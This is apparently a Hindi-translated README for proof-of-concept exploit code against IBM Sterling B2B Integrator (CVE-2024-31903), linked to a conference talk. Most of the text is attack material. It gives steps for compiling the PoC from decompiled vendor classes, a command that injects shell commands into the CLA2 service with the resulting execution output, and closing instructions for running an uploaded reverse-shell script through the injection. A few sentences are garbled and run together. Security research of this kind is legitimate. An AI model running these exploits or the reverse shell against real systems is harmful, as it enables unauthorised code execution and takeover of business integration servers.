
IBM Sterling B2B Integrator के विरुद्ध LPE और RCE (CVE-2024-31903) हमलों के लिए PoC कोड
IBM Sterling B2B Integrator, संस्करण 6.2.0.0 से 6.2.0.2, और 6.0.0.0 से 6.1.2.5 (Linux, Windows और AIX सिस्टम के लिए) में पाई गई कमजोरियों के शोषण के लिए प्रूफ ऑफ कॉन्सेप्ट कोड:
इन मुद्दों के बारे में अधिक जानकारी मेरी DistricCon वार्ता "To B or not 2B: Breaking the IBM B2B Integrator with, and without authentication" में पाई जा सकती है:
https://www.districtcon.org/bios-and-talks-2025/to-b-or-not-to-b
इस रेपो में अधिकांश कोड LPE कमांड इंजेक्शन हमले को संदर्भित करता है।
Python बाइनरी क्लाइंट bin_client.py का उपयोग CLA2 को मैन्युअल रूप से संदेश भेजने के लिए किया जा सकता है, जिससे डिसीरियलाइजेशन RCE कमजोरी का शोषण संभव होता है।
$ java Main
$ Usage: Main <cmdLine> <outfile_or_SEND> [host] [port]
PoC दो पैरामीटर स्वीकार करता है:
bin_client.py जैसी किसी चीज़ से विश्लेषण/भेजा जा सके, या स्ट्रिंग "SEND" जो इसे तुरंत host:port पर भेजने के लिए जहाँ एक CLA2 क्लाइंट सुन रहा हैइस रेपो में शामिल स्रोत कोड जानबूझकर अधूरा है, क्योंकि CLA2 सबसिस्टम की कुछ कक्षाओं की आवश्यकता है। इंस्टॉलेशन निर्देशिका की फ़ाइल सिस्टम अनुमतियों के आधार पर, आप JAR फ़ाइलों तक पहुँच प्राप्त करने में सक्षम हो सकते हैं
यह मानते हुए कि आपने JAR डीकंपाइलेशन से प्रासंगिक फ़ाइलें प्राप्त कर ली हैं। यहाँ अपलोड नहीं किया जाएगा क्योंकि वे IBM IP का गठन करते हैं
CLA2Client.jar डीकंपाइल करें
डीकंपाइल किए गए कोड में, फ़ाइलें CmdLine2Result.java और CmdLine2Parms.java ढूंढें
उन्हें Main.java के बगल में कॉपी और पेस्ट करें ताकि मूल एप्लिकेशन के जावा पैकेज की निर्देशिका संरचना को दोहराया जा सके
/src/com/sterlingcommerce/woodstock/services/cmdline2/
${B2BHOME}/INSTALL/jdk/bin/javac src/com/sterlingcommerce/woodstock/services/cmdline2/*.java
${B2BHOME}/appl/SFG/INSTALL/jdk/bin/java -classpath src/ com.sterlingcommerce.woodstock.services.cmdline2.Main '/bin/sh -c "id > /tmp/result"' SEND 127.0.0.1 5052
[+] Creating object...
[+] Sending object to 127.0.0.1:5052...
[+] ...Sent!
[+] Receiving header...
[+] ...header received: RESULT
[+] Receiving result...
[+] Result received:
##[DEBUG]## CmdLine2Result:
fileSize=0
outputNameLong=null
outputNameShort=null
******* end of CmdLine2Result *******
[+] clr.statusRpt: null
[+] clr.exceptionString: null
[+] clr.somethingToLog: CmdLine2Thread.runCommand: cmdLine before execution=/bin/sh -c "id > /tmp/result"
##[REMOTE DEBUG]## parm0=/bin/sh
##[REMOTE DEBUG]## parm1=-c
##[REMOTE DEBUG]## parm2=id > /tmp/result
revshell.py और revshell_listener.py स्क्रिप्ट को लक्ष्य सिस्टम पर अपलोड करें, और लिसनर शुरू करें। फिर, PoC के कमांड पैरामीटर को रिवर्स शेल स्क्रिप्ट के आह्वान से बदलें जैसा कि नीचे दिया गया है:${B2BHOME}/INSTALL/jdk/bin/java -classpath src/ com.sterlingcommerce.woodstock.services.cmdline2.Main 'python3 /tmp/revshell.py 9090' SEND